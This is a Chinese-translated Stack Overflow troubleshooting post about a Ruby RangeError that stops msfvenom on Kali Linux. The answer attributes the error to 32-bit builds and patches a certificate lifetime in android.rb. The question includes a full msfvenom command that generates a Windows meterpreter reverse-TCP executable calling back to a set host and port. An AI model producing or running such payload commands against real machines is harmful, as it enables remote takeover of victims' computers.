linux - Kali Linux - MSFVenom 有效负载创建错误

标签 linux windows metasploit

所以我刚刚在我的戴尔 Inspiron 灵越 5000 系列、英特尔酷睿 I5(第 8 代)上安装了 Kali Linux Rolling!当我尝试在 MSFVenom(黑客操作系统附带的最佳有效负载创建工具之一)中创建 Windows 反向 TCP 有效负载时,我遇到了一个错误。这是我输入的:

root@GetOffMyLawnBish:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.100 LPORT=443 -f exe > Desktop/localpayload.exe

这就是我得到的:
/usr/share/metasploit-framework/lib/msf/core/payload/android.rb:92:in `not_after=': bignum too big to convert into `long' (RangeError)
from /usr/share/metasploit-framework/lib/msf/core/payload/android.rb:92:in `sign_jar'
from /usr/share/metasploit-framework/lib/msf/core/payload/android.rb:123:in `generate_jar'
from /usr/share/metasploit-framework/modules/payloads/singles/android/meterpreter_reverse_http.rb:50:in `generate_jar'
from /usr/share/metasploit-framework/lib/msf/core/payload/android.rb:38:in `generate'
from /usr/share/metasploit-framework/lib/msf/core/payload.rb:204:in `size'
from /usr/share/metasploit-framework/lib/msf/core/payload_set.rb:91:in `block in recalculate'
from /usr/share/metasploit-framework/lib/msf/core/payload_set.rb:78:in `each_pair'
from /usr/share/metasploit-framework/lib/msf/core/payload_set.rb:78:in `recalculate'
from /usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:251:in `block in load_modules'
from /usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:248:in `each'
from /usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:248:in `load_modules'
from /usr/share/metasploit-framework/lib/msf/core/module_manager/loading.rb:119:in `block in load_modules'
from /usr/share/metasploit-framework/lib/msf/core/module_manager/loading.rb:117:in `each'
from /usr/share/metasploit-framework/lib/msf/core/module_manager/loading.rb:117:in `load_modules'
from /usr/share/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:41:in `block in add_module_path'
from /usr/share/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:40:in `each'
from /usr/share/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:40:in `add_module_path'
from /usr/share/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:50:in `block in init_module_paths'
from /usr/share/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:49:in `each'
from /usr/share/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:49:in `init_module_paths'
from /usr/share/metasploit-framework/lib/msf/base/simple/framework.rb:121:in `simplify'
from /usr/share/metasploit-framework/lib/msf/base/simple/framework.rb:73:in `create'
from /usr/bin/msfvenom:36:in `init_framework'
from /usr/bin/msfvenom:45:in `framework'
from /usr/bin/msfvenom:327:in `<main>'

有谁知道这里发生了什么?请告诉我!

哦,顺便说一句,我已经创建了一个公共(public)有效负载,这将是我的本地有效负载,但奇怪的是,公共(public)有效负载没有任何问题,但是一旦我将 IPAddress 更改为我的本地有效负载,它就会给出我一个错误:(。

最佳答案

这是在 32 位版本上出现的问题。如果对您来说没关系,请尝试使用 64 位版本。

如果您必须使用 32 位,那么您可以从

cert.not_after = cert.not_before + 3600*24*365*20 # 20 years


cert.not_after = cert.not_before + 3600*24*365*2 # 2 years

请记住,这可能会影响对 android 有效负载的依赖。

关于linux - Kali Linux - MSFVenom 有效负载创建错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49744227/

相关文章:

java - 如何在linux shell脚本中添加java类文件夹而不是jar

java - 在 CentOS 6.5 中更改主机名的 "correct"方法是什么? (以及/etc/hosts 和/etc/sysconfig/network 脚本之间的区别)

c++ - 带有 Cuda 的 LibTorch(C++) 引发异常

android - Metasploit 创建的 apk 未安装在 android 设备上

security - 带有 metasploit 框架的 python 脚本

linux - 如何在每个目录中查找具有最高编号的文件作为文件名?

java - Jmeter插件执行抛出ArrayIndexOutOfBoundsException

windows - Windows kid3-cli语法

C++ 多语言字符串输出

android - 在Android上运行的Metasploit框架